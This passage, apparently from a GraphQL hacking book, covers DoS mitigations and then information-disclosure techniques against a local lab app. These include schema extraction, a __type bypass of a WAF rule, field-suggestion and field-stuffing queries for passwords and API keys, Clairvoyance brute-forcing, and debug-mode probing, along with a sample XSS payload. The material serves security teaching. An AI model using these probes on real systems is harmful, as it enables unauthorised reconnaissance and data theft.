performance of GraphQL queries. Instead of using the normal GraphQL
query structure, a GraphQL server that implements APQ can accept hashes
that represent these queries.

In an APQ interaction between a GraphQL client and server, the client first
attempts to send a hash of a query (such as a SHA-256 hash). The server
performs a hash lookup in its cache. If the hash doesn’t exist, the server
returns an error. The client can then follow up with another request
containing the raw GraphQL query, along with its hash, which will get stored
in the server’s database. The client can use this hash on any subsequent
requests instead of providing the full query. The hash might look like this:

{ 
   "persisted_query": { 
      "sha256Hash": "5e734424cfdde58851234791dea3811caf8e8
b389cc3aw7035044ce91679757bc8" 
   } 
 }

To generate a SHA-256 hash of any query, you can use the sha256sum
command, like so:

# echo -n "{query{pastes{owner{id}}}}" | sha256sum 
 
5e734424cfdde58851234791dea3811caf8e8b389cc3aw7035044ce916
79757bc8

The advantage here is that hashing algorithms produce fixed-length values
(for example, SHA-256 hashes are 64 characters in length), no matter how
large a query might be. This eliminates the need for clients to send HTTP
requests containing large queries over the network and reduces the overall
bandwidth consumption. Figure 5-8 illustrates what a GraphQL deployment
with APQ might look like.



Figure 5-8: The APQ architecture

You might have noticed a weakness. What if the client is an attacker and
forces the server to cache a malicious query? Will the attacker be able to use
it in subsequent queries? That is a great question to ask, and also why a
mechanism like APQ should coexist with a function such as an allow list.
The server should reject malicious queries before they get cached so that
only trusted queries can be inserted into the cache.

APQ is designed as a caching mechanism first, but it can also play as a
security control to protect GraphQL servers from accepting malicious
queries. APQ isn’t yet widely used but is supported in some of the mature
GraphQL implementations on the market, such as Apollo GraphQL. You can
refer to the GraphQL Threat Matrix project to find out which
implementations support APQ.

Timeouts
Timeouts are another form of protection against long-running and resource-
consuming tasks. When a GraphQL server is bombarded with many queries,
it may take minutes to completely fulfill the request. To mitigate these cases,
servers can introduce application timeouts, which define how long a request
can take to complete.

Some GraphQL implementations, such as graphql-ruby, allow setting a
timeout on the query execution in the following way:



class MySchema < GraphQL::Schema 
  use GraphQL::Schema::Timeout, max_seconds: 20 
end

However, not all GraphQL implementations support setting query timeouts
this way. Those GraphQL applications could use timeouts at the web server
layer, such as in Nginx or Apache, which support setting timeouts.

Setting the right application timeout intervals tends to be a tricky task; a
too-short timeout configuration could mean dropping legitimate client
requests and impacting the client’s user experience, which is why
applications usually have a high timeout value set by default. Both Nginx and
Apache set their request timeout value at around the 60-second range.

Timeouts can be effective, but they shouldn’t be the only mitigation
strategy a GraphQL application implements.

Web Application Firewalls
Web application firewalls (WAFs) are useful for blocking malicious traffic
before it reaches the application. They allow security teams to respond
quickly to attacks and vulnerabilities by creating signatures and rules that
block traffic based on various patterns, such as HTTP payloads, URLs, or a
client’s geographical location.

WAFs have been battle tested in production environments for many years,
protecting web applications and APIs such as REST and SOAP across many
industries. However, commercial and open source WAFs are still adapting to
the way GraphQL works, and the ways attackers might abuse GraphQL for
nefarious purposes, so some gaps remain in the protections WAFs can offer
GraphQL applications.

Although some WAFs are not “GraphQL-aware,” the way they inspect
traffic still allows them to detect many malicious payloads. They can block
suspicious payloads, such as SQL injections, operating system injections,
cross-site scripting (XSS), and so on, even when embedded within GraphQL
queries or mutations.

Consider the following XSS example in a GraphQL query:



mutation { 
  changeName(name:"<script>alert(1)</script>") { 
      name 
  } 
}

Even WAFs without native GraphQL support will likely identify and reject
requests containing such common exploit payloads. Additionally, WAFs can
provide other forms of protection, such as body size restrictions (in the form
of byte limits) to prevent DoS attacks, or throttling to slow DoS attempts.

However, WAFs without GraphQL support will struggle to defend against
many of the attacks you learned about in this chapter. For instance, WAFs
typically don’t block single HTTP requests if they don’t contain any
malicious patterns, such as dangerous JavaScript payloads (like XSS), or
SQL commands (in the case of SQL injection). Although we can send
thousands of queries in a single HTTP request by using aliases or array-
based batching, WAFs without native GraphQL support won’t understand the
danger in accepting such requests.

Gateway Proxies
GraphQL gateways merge multiple GraphQL schemas into one unified
schema, either by stitching them together or by connecting to each individual
GraphQL service to fetch its schema content. This schema is then exposed at
the gateway layer for clients to consume. Figure 5-9 shows how such an
application deployment model might look.



Figure 5-9: A GraphQL gateway proxying traffic to other services

GraphQL gateways are becoming more popular in the security space as a
network choke point that can enforce policies and perform rate limiting. They
often act as reverse proxies, forwarding traffic to other internal API servers,
and can manage multiple API schemas. Gateways also provide features such
as auditability, schema version control, authorization controls, Layer 7 DoS
protection, and more.

Summary
In this chapter, we discussed several ways an attacker might introduce load
on GraphQL servers for the purpose of carrying out DoS attacks. We used
several dedicated GraphQL security tools to test for DoS conditions and
dissected custom exploits to understand how they work under the hood. You
also learned how query batching works in GraphQL and how to make DoS
attacks even more powerful by using arrays and aliases. Finally, we explored
the types of security defenses GraphQL applications could implement to
protect themselves against DoS attacks.



6
INFORMATION DISCLOSURE

Information disclosure vulnerabilities
arise when software systems, such as
APIs, reveal sensitive information to
unauthorized users. Much like REST-
based applications, GraphQL is not

immune to this type of issue. In this chapter, we’ll use
its built-in features to gain additional insight into
applications and the data they protect.

Sensitive data exposure is one of the most impactful attacks against APIs.
Devastating vulnerabilities can leak all kinds of information to potential
attackers, including business information, intellectual property, the PII of
customers, and more. Even unintentionally disclosing technical information,
such as the application source code, operating system version, and filesystem
paths, can be just as serious. These disclosures may reveal additional attack
vectors for us to exploit.

We’ll explore how we can abuse field suggestions to extract and map the
GraphQL schema regardless of whether introspection is enabled. You’ll also
learn to discover local users, operating systems, filesystem structures, and
application details by probing GraphQL error messages, debug logs, and
application stack traces.



As you search for useful information, remember that vulnerabilities can
often be chained together. A low-severity vulnerability used with another,
higher-severity vulnerability might completely compromise an application.
Collect as much information as you can about your target, and make sure to
keep track of it; you never know when it will come in handy.

Identifying Information Disclosure Vectors in
GraphQL
Many architectural-, technical-, and process-level mistakes could introduce
information disclosure vulnerabilities. Common failures include incorrect or
missing data-classification processes, an absence of data encryption in
sensitive networks and applications, and a lack of access-management
controls on critical functions.

Other large contributors to information disclosure attacks are software
systems that store and provide API consumers with more data than necessary.
Often, when you’re inspecting the responses of frontend applications backed
by APIs, you’ll notice that they return more information than the frontend
actually uses. Usually, this is a sign that the application may contain
additional information disclosure vulnerabilities. It also indicates that the
application was shipped without sufficient security review.

In GraphQL, one of the most efficient ways to extract sensitive information
from an application is to explore its schema, which provides context about
the application’s data structure and business logic. The best way to do so is
to use the GraphQL introspection feature. Most GraphQL implementations
are shipped with introspection enabled by default.

However, during your hacking adventures, you may come across GraphQL
implementations with introspection disabled. To overcome this, you can run
field-stuffing attacks and use automated tools designed to abuse the widely
adopted field suggestion feature. You can also gain user and operating-level
information by actively probing GraphQL’s debug, error, and stack trace
logs. We’ll explore all of this in this chapter.

Automating Schema Extraction with InQL



In previous chapters, we used introspection queries to manually uncover
information such as the API’s available queries and mutations. To make our
lives even easier, tools such as InQL (installed in Chapter 2) allow you to
automatically extract the schema.

InQL uses a single introspection query very similar to the one used in
Chapter 4. From the results, it generates a schema document in several
formats, including HTML, JSON, and tab-separated values (TSV). You can
use these documents alongside tools like GraphQL Voyager to further analyze
the schema.

Extract and analyze DVGA’s schema by executing the following command.
The -t (target) flag points to DVGA’s network address. We generate a report
using the TSV format (--generate-tsv):

# inql -t http://localhost:5013/graphql --generate-tsv 
 
[+] Writing Introspection Schema JSON 
[+] DONE 
[+] Writing HTML Documentation 
[+] DONE 
[+] Writing query Templates 
Writing systemUpdate query

InQL will use the name of the target domain to automatically create a
directory. If you list its contents, you should see multiple schema files:

# cd localhost:5013/ 
# ls 
 
endpoint_subscription.tsv 
endpoint_query.tscv 
endpoint_mutation.tsv 
mutation 
query 
subscription

These TSV files are tab separated, making it easy to see which queries are
available in DVGA. Using awk, we can parse only the query names:

# awk '{print $1}' endpoint_query.tsv | tail -n +2 
 



audits 
paste 
readAndBurn 
pastes

To see which arguments the various queries support, you can issue the
following awk command to parse the tab-delimiter output:

# awk -F'\t' '{print $1, $2}' endpoint_query.tsv 
 
Operation Name Args Name 
audits 
paste id, title 
readAndBurn id 
pastes filter, limit, public

To view mutations or subscription-related queries, simply use the same
awk command against the endpoint_mutation.tsv and
endpoint_subscription.tsv files. Searching InQL’s generated documents for
queries, mutations, or subscriptions, along with their arguments, types, and
other schema-related information, is useful if you want to automate certain
tasks from the command line, such as fuzzing, brute-forcing, or searching for
sensitive information.

Overcoming Disabled Introspection
Even if a GraphQL implementation uses introspection by default, developers
might disable it to avoid exposing information about their schema to clients.
This makes it harder to understand how to interact with the API, but, as you
will soon see, not completely impossible. We can use a variety of techniques
and specially crafted queries to peek into the key elements of an
application’s schema, even when introspection is turned off.

NOTE

To follow along with most of this chapter, you’ll need to disable
introspection in DVGA by setting it to Expert mode. Turn to
“Exploring Disabled Introspection” on page 93 for instructions.



Detecting Disabled Introspection
In Chapter 4, we discussed using the __schema meta-field to detect
introspection. If introspection is disabled, such a query should return an
error. Every GraphQL implementation will handle this error response
differently. For example, some implementations could return a 400 Bad
Request HTTP response code without any informative error message, while
other implementations may choose to return a 200 OK status code with a
message like Introspection is Disabled. Usually, GraphQL servers tend
to return a 200 OK response with an error message in the errors response
key.

Listing 6-1 is an error message you might encounter when sending an
introspection query to Apollo Server, a popular GraphQL server
implementation.

{ 
  "errors": [ 
    { 
      "message": "GraphQL introspection is not allowed by
 Apollo Server, but the 
                  query contained __schema or __type. To e
nable introspection, pass 
                  introspection: true to ApolloServer in p
roduction", 
      "extensions": { 
        "code": "GRAPHQL_VALIDATION_FAILED" 
      } 
    } 
  ] 
}

Listing 6-1: The introspection is not allowed message from the
Apollo GraphQL server

In the following two sections, we test disclosure techniques that allow us
to bypass improperly disabled introspection.

Exploiting Non-production Environments



In some applications, the development and staging environments won’t have
the same level of security as the production environment. Even if
introspection is disabled in the production environment, you might find it
enabled in other environments, where it can assist engineers with building,
updating, testing, and maintaining their APIs.

Typically, non-production environments are hosted on subdomains such as
staging or dev. It will be worth checking if those environments are
accessible to us, and if any GraphQL services may have introspection
enabled. You can find a list of potential GraphQL staging and development
locations at https://github.com/dolevf/Black-Hat-GraphQL/blob/master/res
ources/non-production-graphql-urls.txt.

If we’re able to successfully run introspection queries against staging and
development environments, we can take the information learned there and
apply it to the production environment. Often the schemas will be similar.

NOTE

Non-production GraphQL applications could also have GraphiQL
Explorer or GraphQL Playground deployed in their environments.
Remember to use EyeWitness to scan for graphical GraphQL
clients, as discussed in Chapter 4.

Exploiting the __type Meta-field
When GraphQL implementations want to block introspection queries from
executing, they often filter out any requests that contain the keyword
__schema. However, while most introspection queries leverage the
__schema meta-field, clients could also use several other introspection
meta-fields. For instance, __type represents all types in the system and
could be used to extract type details from a GraphQL schema.

In May 2022, we discovered a vulnerability in AppSync, an Amazon Web
Services (AWS) service that provides a GraphQL interface for developers.
To protect AppSync from malicious clients, AWS uses a WAF under the
hood. We identified a way to bypass the WAF and perform an introspection
query. The WAF contains rules tailored to GraphQL applications, one of

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/resources/non-production-graphql-urls.txt


which blocks attempts to introspect the GraphQL API via the __schema
meta-field but doesn’t take into consideration other introspection meta-fields.

The rule itself is defined in JSON in the following way:

{ 
  "Name": "BodyRule", 
  "Priority": 5, 
  "Action": { 
    "Block": {} 
  }, 
  "VisibilityConfig" { 
    "SampledRequestsEnabled": true, 
    "CloudWatchMetricsEnabled": true, 
    "MetricName": "BodyRule" 
  }, 
  "Statement": { 
    "ByteMatchStatement": { 
      "FieldToMatch": {
        "Body": {}
      },
      "PositionalConstraint": "CONTAINS",
      "SearchString": "__schema", 
      "TextTransformation": [ 
        { 
          "Type": "NONE", 
          "Priority": 0 
        } 
      ] 
    } 
  } 
}

Using a string search (SearchString), the WAF rule looks for the
__schema keyword in any incoming HTTP requests and blocks them from
going through to the application. Because the rule uses CONTAINS as the
positional constraint (PositionalConstraint) and matches on the HTTP
Body field (FieldToMatch), any mentions of __schema in the body’s
payload will result in a deny action.



NOTE

When we disclosed the security concern to Amazon’s security team,
they quickly responded by updating the AWS AppSync
documentation to address the issue.

This example illustrates that if a __schema introspection canary query is
rejected, we can use another canary query to evaluate whether introspection
has truly been disabled. The __type introspection canary query in Listing 6-
2 will return a predetermined response if introspection is not properly
disabled. This query requests the name field of the root query operation from
the schema. Try sending it to your local DVGA instance.

{
  __type(name:"Query") {
    name
  }
}

Listing 6-2: A __type introspection canary query

Because we know that the name of the query operation will always be
Query, the response should look exactly as shown in Listing 6-3.

{ 
  "data": { 
    "__type": { 
      "name": "Query" 
    } 
  } 
}

Listing 6-3: A predetermined response for the __type introspection
canary query

As hackers, if we notice that introspection is not properly disabled, we
could extend the __type introspection canary query to stuff a list of potential
custom object type names and extract valuable schema information. We’ll



discuss this stuffing technique in “Type Stuffing in the __type Meta-field” on
page 150.

Using Field Suggestions
A popular feature adopted by many GraphQL implementations, field
suggestions activate when clients send a request that contains a typo. Unlike
most REST APIs, which return status codes of 400 Bad Request if an HTTP
query is malformed, GraphQL responds in a much more friendly manner, by
suggesting possible corrections. This feature is not part of the GraphQL
specification but is commonly seen in the majority of the GraphQL server
implementations available today.

In our experience, implementations typically return three to five
suggestions. However, not every part of a GraphQL request will return a
field suggestion. For instance, if you make a typo in the root query operation,
GraphQL implementations won’t attempt to autocorrect it.

Let’s take a look at what a field suggestion response looks like. Say we
send a query to DVGA that attempts to request the pastes field title but
misspells it as titlr. In the error message, GraphQL lets the client know
that the field cannot be queried and suggests a field that exists in the schema:

{ 
  "errors": [ 
    { 
      "message": "Cannot query field \"titlr\" on type \"P
asteObject\". 
       Did you mean \"title\"?", 
      "locations": [ 
        { 
          "line": 15, 
          "column": 5 
        } 
      ] 
    } 
  ] 
}

The error message Cannot query field . . . Did you mean . . . ? is
common. If a GraphQL server implementation supports field suggestions, you



should see a similar message.
While field suggestions are available in most popular GraphQL

implementations today, not all of them offer the option to disable this feature.
The following is an example of how field suggestions can be disabled in
Graphene, the Python-based GraphQL implementation that DVGA is based
on:

graphql.pyutils.did_you_mean.MAX_LENGTH = 0

In this example, MAX_LENGTH is the number of suggestions to return to the
client when a typo is made in a query. Setting MAX_LENGTH to 0 means that no
suggestions will be returned, effectively disabling the feature altogether.

Understanding the Edit-Distance Algorithm
To determine whether a typo is similar to a valid object, field, or argument in
the schema, GraphQL implementations rely on the simple edit-distance
algorithm. Understanding edit distance can help us optimize a brute-forcing
script for discovering names from field suggestions.

This matching algorithm compares any two strings and returns their
similarity based on the number of character operations required to match
them. Adding, replacing, or removing a character from one of the strings
counts as an operation. For example, to match the incorrect field name titlr
with the correct name title, we need to replace the r character with an e,
resulting in an edit distance of 1. Table 6-1 shows additional string
comparisons and their corresponding edit distances.

Table 6-1: The Edit Distances Between Two Strings

String Typo Operations Edit distance
title titl Add e 1
content rntent Replace r with c, add o 2

GraphQL implementations use a variable edit-distance threshold,
calculated using the formula shown in Listing 6-4, to decide whether to show
field suggestions. This example is taken directly from the source code of the
GraphQL reference implementation GraphQL.js.



const threshold = Math.floor(input.length * 0.4) + 1;

Listing 6-4: The edit-distance threshold snippet from GraphQL.js

This code takes the length of a string, multiplies it by 0.4, rounds that
number down using the Math.floor function, and adds 1. For example, a
seven-character string like content must have an edit distance threshold of 3
or less in order to trigger relevant field suggestions.

Optimizing Field Suggestion Use
You’ll find it useful to know that a single typo can return multiple field
names. GraphQL will return all fields that could possibly match the typo
provided. For example, the following query requests the misspelled owne
field (owner) from the pastes top-level field:

query { 
  pastes { 
    owne 
  } 
}

This single owne typo is within the edit-distance thresholds for both the
owner and ownerId fields. When this happens, the GraphQL implementation
doesn’t know which field the client wanted to request, so it returns both:

{ 
  "errors": [ 
    { 
      "message": "Cannot query field \"owne\" on type \"Pa
steObject\". 
                  Did you mean \"owner\" or \"ownerId\"?", 
      "locations": [ 
        { 
          "line": 24, 
          "column": 3 
        } 
      ] 
    } 
  ] 
}



Another useful fact is that there is no limit to the number of typos a client
can send in a single request. For each typo, the GraphQL server will attempt
to suggest an autocorrection. For example, in the following request, we send
a query with multiple fields, all of which have typos:

query { 
  pastes { 
    tte
    tent
    bli
    urn 
  } 
}

GraphQL servers analyze each typo and return a list of all possible field
suggestions within the edit-distance threshold. This GraphQL response
behavior allows for bulk information gathering:

{ 
  "errors": [ 
    { 
      "message": "Cannot query field \"tte\" on type \"Pas
teObject\". 
                  Did you mean \"title\"?", 
--snip-- 
      ] 
    }, 
    { 
      "message": "Cannot query field \"tent\" on type \"Pa
steObject\". 
                  Did you mean \"content\"?", 
      "locations": [ 
--snip-- 
      ] 
    }, 
    { 
      "message": "Cannot query field \"bli\" on type \"Pas
teObject\". 
                  Did you mean \"public\"?", 
--snip-- 
      ] 
    }, 
    { 
      "message": "Cannot query field \"urn\" on type \"Pas



teObject\". 
                  Did you mean \"burn\"?", 
--snip-- 
      ] 
    }

Query batching, discussed in Chapter 5, could allow you to further
optimize such an attack by batching many requests in a single HTTP request.

Considering Security Developments
At the time of this writing, ongoing security developments might impact the
use of field suggestions in the future. On November 5, 2019, a GitHub issue
was raised regarding the use of field suggestions in the GraphQL reference
implementation GraphQL.js.

The issue stated that attackers could probe a server for schema details by
sending invalid GraphQL documents. It referenced a file, didYouMean.ts,
used by several validation rules. This file can give developers helpful
suggestions when developing an API but can also be used to leak
information.

In response to the issue, GraphQL co-creator Lee Byron commented the
following:

I would expect that a schema with introspection disabled would also disable didYouMean. I can’t
think of a reason why you would want to disable introspection but enable didYouMean or vice
versa.

Following the thread of comments supporting Byron’s opinion on the
matter, a pull request was made on January 28, 2022, to disable field
suggestions whenever introspection is disabled. If merged, this pull request
would make it difficult to abuse field suggestions when introspection is
disabled.

While this change is a positive development for the security of GraphQL,
we hackers should consider a few takeaways. First, it took more than two
years after the issue was first raised for the community to develop a potential
solution. In open source and community-driven technology like GraphQL,
significant security concerns don’t necessarily get patched quickly.



Second, while addressed within the GraphQL reference implementation,
this patch will most likely take time to gain widespread adoption across all
server implementations and production deployments where GraphQL is used.

Now, what if both introspection and field suggestions are disabled? How
can we continue exploring our target’s schema? In the next section, we’ll
dive into another technique we can use to potentially discover the sensitive
information behind a seemingly innocent-looking GraphQL query.

Using Field Stuffing
Field stuffing is a GraphQL information disclosure technique in which a list
of fields is inserted into a GraphQL query. We can use field stuffing to
potentially discover sensitive information like passwords, keys, and PII by
guessing and passing these potential field names into a query request that we
know works.

For example, say we’ve captured the following query by using Burp Suite
to intercept traffic while observing how normal user operations work on our
target. This is a good initial step for finding information disclosure
vulnerabilities. (Chapter 2 explains how to intercept traffic with Burp Suite.)

query { 
  user { 
    name 
  } 
}

A query like this probably returns something innocent, like the name of the
currently logged-in user account. And because introspection is disabled, we
can’t be sure what other juicy fields are available to us in this user object.

Field stuffing may allow us to bypass this. Essentially, this technique takes
advantage of the possibility that an object’s fields in the GraphQL schema
closely map to resources like database columns. Table 6-2 shows an
example MySQL database schema that may represent our user table.



Table 6-2: A Sample User Table MySQL Database Schema

MySQL schema GraphQL type and field
id BIGINT(20) User.id (Int)
name VARCHAR(50) User.name (String)
mobile VARCHAR(50) User.mobile (String)
email VARCHAR(50) User.email (String)
password_hash VARCHAR(32) User.password_hash (String)
registered_at DATETIME User.registered_at (custom DATETIME scalar type or String)
last_login DATETIME User.last_login (custom DATETIME scalar type or String)
intro TEXT User.intro (String)
profile TEXT User.profile (String)
api_key VARCHAR(50) User.api_key (String)

To represent integers and strings, MySQL uses types such as BIGINT and
VARCHAR, while GraphQL uses scalar types such as Int and String. MySQL
also has built-in types for things like date and time, using the DATETIME data
type. In GraphQL, we may need to use a custom scalar type, such as
DATETIME, or a String scalar type. The serializing to an actual date-time
representation would be done by the application’s logic.

As attackers, we obviously won’t know what the database schema is up
front, but we can make an educated guess about what these additional
database columns might be and begin stuffing their possible field names into
a query. Here is a list of potential field names added to our user query:

query { 
  user { 
    name 
    username
    address
    birthday
    age
    password
    sin
    ssn
    apiKey
    token
    emailAddress
    status 



  } 
}

Pay attention to the formatting of the field names you attempt. Fields and
arguments in SDL files are often styled in snake_case, in which each space
is replaced with an underscore (_) symbol, and the first letter of each word
is lowercase. For example, an API key field is likely to be defined as
api_key. However, when querying a GraphQL API as a client, these fields
and arguments may be shown in camelCase, in which a name formed by
multiple words is joined together as a single word without punctuation, and
the first letter of this word is lowercase (also called lowerCamelCase). This
is because some GraphQL implementations automatically convert the style of
fields and arguments. However, naming conventions can be changed, as they
are completely up to the application maintainer. More information on naming
conventions can be found at https://graphql-rules.com/rules/naming.

Stuffing a single query with hundreds of potential field names is much like
playing a game of darts with a blindfold on and hoping something hits the
bull’s-eye. If we’re lucky, one or more of our query fields will resolve and
return data (or potentially even suggest a few alternative field names that fall
within the edit-distance threshold).

Type Stuffing in the __type Meta-field
Earlier in this chapter, we mentioned that certain applications might fail to
reject queries that use the __type meta-field when attempting to disable
introspection. If so, we can use a technique similar to field stuffing to gain
insight into the application’s schema: namely, stuffing potential type names
into the __type field’s name argument.

Let’s take advantage of DVGA’s poor introspection-disabling method to
get a list of fields from its schema by sending the following __type
introspection query for PasteObject:

{ 
  __type(name:"PasteObject") { 
    name 
    fields { 
      name 

https://graphql-rules.com/rules/naming


    } 
  } 
}

The response for this query should provide us with a list of all field names
in the PasteObject type:

{ 
  "data": { 
    "__type": { 
      "name": "PasteObject", 
      "fields": [ 
        { 
          "name": "id" 
        }, 
        { 
          "name": "title" 
        }, 
        { 
          "name": "content" 
        }, 
        { 
          "name": "public" 
        }, 
        { 
          "name": "userAgent" 
        }, 
        { 
          "name": "ipAddr" 
        }, 
        { 
          "name": "ownerId" 
        }, 
        { 
          "name": "burn" 
        }, 
        { 
          "name": "owner" 
        } 
      ] 
    } 
  } 
}



Just as we used field stuffing earlier to identify field names, we can try
different type names until we land on one that exists. In terms of naming
conventions, type names in GraphQL are usually written in UpperCamelCase
(for example, PrivatePasteProperties).

We now have the theoretical knowledge needed to manually test and
analyze GraphQL applications for a few information disclosure weaknesses.
Next, we’ll investigate applying our new understanding of GraphQL to
leverage automated tools that’ll make our attacks more efficient.

Automating Field Suggestion and Stuffing
Using Clairvoyance
Clairvoyance can take advantage of the field suggestion and stuffing features
to uncover valid field information from a target. In this section, we’ll use
Clairvoyance to execute brute-force requests. Our goal is to stitch together
multiple suggestions and uncover as much schema information as possible
without relying on introspection.

Clairvoyance takes a wordlist as input and stuffs its contents into multiple
GraphQL queries to identify any valid operations, fields, arguments, input
types, and other key schema elements. Behind the scenes, it uses regular
expressions to match valid fields in error messages, relying on field
suggestions. Once it finishes parsing the entire wordlist, it outputs a schema.
We can use this output schema to probe for sensitive information disclosure
opportunities.

Field stuffing with tools like Clairvoyance works most efficiently when
the wordlist being used matches the elements of the GraphQL schema we’re
targeting. Many wordlists are available online, but most are designed for
guessing passwords, directories, or usernames. Because we’re trying to
guess the names of fields, operations, and arguments, we’ll probably have the
most success using lists of generic English dictionary words.



NOTE

If you’re targeting GraphQL applications that aren’t written in
English, it’s probably best to leverage a wordlist in the language
that the application’s clients or users would natively use.

One suitable wordlist is the high-frequency-vocabulary wordlist created
by Derek Chuank. This list of 30,000 common English words is a great one
to start with. To get this wordlist, run these commands:

# cd ~ 
# git clone https://github.com/nicholasaleks/high-frequenc
y-vocabulary

Now that we have a wordlist we can play with, let’s put Clairvoyance into
action and attack the DVGA instance. Remember that it should be in Expert
(hardened) mode to disable introspection.

Enter the directory in which you installed Clairvoyance, and then execute
it against DVGA with a wordlist using the -w (words) argument. The -o
argument tells Clairvoyance where it should output the schema it generates
during runtime:

# cd ~/clairvoyance 
# python3 -m clairvoyance http://localhost:5013/graphql
-w ~/high-frequency-vocabulary/30k.txt -o clairvoyance-dvg
a-schema.json

Depending on the size of the wordlist, Clairvoyance may take a few
minutes to finish executing. Upon completion, you should see a new file in
the clairvoyance directory called clairvoyance-dvga-schema.json.

Let’s test the efficiency of our wordlist by comparing the schema
Clairvoyance gave us with the schema generated from an introspection query.
To best represent these differences, we can leverage GraphQL Voyager,
located at http://lab.blackhatgraphql.com:9000 or https://ivangoncharov.gi
thub.io/graphql-voyager, and upload both schemas. Figure 6-1 shows the
DVGA’s schema, and Figure 6-2 shows the reconstruction of the schema by
Clairvoyance.

http://lab.blackhatgraphql.com:9000/
https://ivangoncharov.github.io/graphql-voyager


As you can see, Clairvoyance was able to recover almost every field and
operation of the DVGA schema! For an application that doesn’t have
introspection enabled, this isn’t half bad.

Another good option is to generate our own wordlists. As mentioned, tools
like Clairvoyance are only as strong as the wordlists we provide them. We
can add to our list by making informed guesses, or by extracting keywords
from HTTP traffic, static files, and other resources collected during the
information-gathering phase.

Figure 6-1: The original DVGA schema



Figure 6-2: The DVGA schema reconstructed by Clairvoyance

Tools like the Custom Word List Generator (CeWL), which comes
preinstalled in Kali, can extract keywords from the application’s frontend
HTML. Try using the following one-liner to profile and extract information
from the DVGA interface:

# cewl http://localhost:5013/

This command will return a list of words that you can use in a manual
field-stuffing attack. Alternatively, merge it with your list of 30,000 words
and use it with Clairvoyance. You can merge two text files by using a simple
Bash command:

# paste -d "\n" wordlist1.txt wordlist2.txt > merged_wordl
ist.txt



Abusing Error Messages
Information exposure through error messages is a security weakness in
which an application or system reveals sensitive information to end users in
error messages. These messages can expose data such as secret keys, user
credentials, user information, database details, application environment
variables, and file or operating system details if an application doesn’t
properly handle them.

As we discovered through our exploration of field suggestions, GraphQL
error messaging can be verbose. By default, GraphQL tends to overshare
with clients to improve the overall developer experience. By learning about
GraphQL error messages, we can take advantage of the information that they
reveal to conduct our attacks.

We’ve already mentioned that GraphQL error messages differ from REST
error messages, which use standard HTTP status codes. According to the
spec, GraphQL error responses do not require HTTP status codes and
typically contain only three unique fields: Message, Location, and Path. To
see this in action, try sending the following mutation to create a new paste in
DVGA. This request is missing the required title argument:

mutation {
  createPaste(content:"Hi", public: false) {
    paste {
      id
    }
  }
}

If we send this incorrect mutation request to DVGA, it will return a
standard error JSON object that we can analyze. This error response should
contain an array of all the errors identified in the query:

{ 
  "errors": [ 
    { 
      "message": "mutate() missing 1 required positional a
rgument: 'title'", 
      "locations": [ 
        { 



          "line": 2, 
          "column": 3 
        } 
      ], 
      "path": [ 
        "createPaste" 
      ] 
    } 
  ], 
  "data": { 
    "createPaste": null 
  } 
}

The error response format may include special keys such as message,
location, and path. These keys provide a description of the error to the
client, as well as where the error occurred in the query:

message The message field is required in every GraphQL error and
contains a high-level description of the error. In this case, the message
field is letting us know that our mutation operation is missing one required
positional argument, title. Most information disclosure weaknesses
occur in the message field, so be sure to keep an eye out for it.

location When it comes to long and complex GraphQL documents (such
as large fuzzing documents), the error responses returned may be difficult
to parse. This is where the location field comes in handy. If an error can
be associated with a particular place in the GraphQL document, this field
will contain that location’s line and column. In our example, the error is in
line 2 and column 3, which points to the createPaste mutation. Note that
indented spaces are counted in these location columns.

path The path field references a particular field and is used to determine
whether a null result is intentional or caused by a runtime error. In this
example, we can see that the path error occurred because we were unable
to return the id response after our attempt at creating a new paste. Path
errors may also occur when a field returns a value as a union or interface,
but the value couldn’t be resolved to a member of that union or interface.
However, most implementations, including DVGA, won’t return path
errors caused by validation errors.



extensions The extensions field is used in several GraphQL services
to extend the message, location, and path fields we just mentioned.
Extensions are reserved for implementations and plug-ins and commonly
include information like error codes, timestamps, stack traces, and rate-
limit information.

Exploring Excessive Error Messaging
Now that you understand some of the standard elements of the GraphQL error
array, you can begin to probe them for sensitive information. The following
error is raised in DVGA when a client attempts to send a createUser
mutation request with a username that already exists in the database:

{ 
  "errors": [ 
    { 
      "message": "(sqlite3.IntegrityError) UNIQUE constrai
nt failed:
                  users.username\n[SQL: INSERT INTO users
 (username, password)
                  VALUES (?, ?)]\n[parameters: ('tom', 'se
cret')]\n(Background
                  on this error at: http://sqlalche.me/e/1
3/gkpj)", 
      "locations": [ 
        { 
          "line": 2, 
          "column": 3 
        } 
      ], 
      "path": [ 
        "createUser" 
      ] 
    } 
  ], 
  "data": { 
    "createUser": null 
  } 
}

As you can see, the response error is clearly oversharing information. The
message field comes directly from a SQLite3 database and provides us with
the entire SQL statement used to insert a new user record into the users



table. We also see a unique username database column and a password
column that clearly isn’t being encrypted on insertion.

This single error message could enable malicious actors to fingerprint the
SQL database and potentially enumerate all the valid user accounts stored in
it. It also exposes the application to SQL injection attacks, as it provides an
attacker with insight into how the SQL query gets structured.

When testing for information disclosure issues through error messages, you
might want to fuzz the API in different ways until a combination of actions, or
malformed inputs, makes the server throw unexpected errors. Not all
GraphQL servers are alike, and it’s important to try various test cases until
something sticks.

For example, if you send malformed queries, specify special characters
where they aren’t meant to exist in a query, or even send queries over HTTP
methods that are unusual for GraphQL (such as PUT), you could cause
unexpected server-processing errors. When this happens, you want to look
out for any nonstandard outputs in the errors or extensions GraphQL
response JSON keys to identify additional details that the server may include
in the response.

Enabling Debugging
Developers use debugging information when troubleshooting issues with
GraphQL applications. When debug mode is enabled, a GraphQL server will
respond to client requests with verbose messages related to a backend server
error that wouldn’t normally be shown. For instance, instead of returning
standard errors, a client may receive a stack trace with detailed error
messages. These debug messages may include valuable information that we
can use in further attacks against our target.

NOTE

Not all GraphQL implementations support debug mode. The
GraphQL Threat Matrix (https://github.com/nicholasaleks/graphql
-threat-matrix) indicates which implementations support it.

https://github.com/nicholasaleks/graphql-threat-matrix


Most GraphQL implementations that support debugging can enable debug
mode by using environment variables. Many also support tracing, a useful
tool that tracks the amount of time it takes for GraphQL to complete a query
and adds that data to the extensions key in the response along with other
metadata about the request.

Some implementations have debug mode enabled by default and may even
allow clients to potentially enable it through cookies and URL parameters.
For example, according to Magento’s GraphQL implementation
documentation, a client can start debugging by adding the ?
XDEBUG_SESSION_START=PHPSTORM parameter to the endpoint URL. Another
common parameter used to enable debug mode is the debug query parameter
with a value of 1 (for true), for example:

http://example.com/graphql?debug=1

Developers will most likely use debug mode in their staging or
development environments. You can use the list of nonproduction GraphQL
URLs (https://github.com/dolevf/Black-Hat-GraphQL/blob/master/resourc
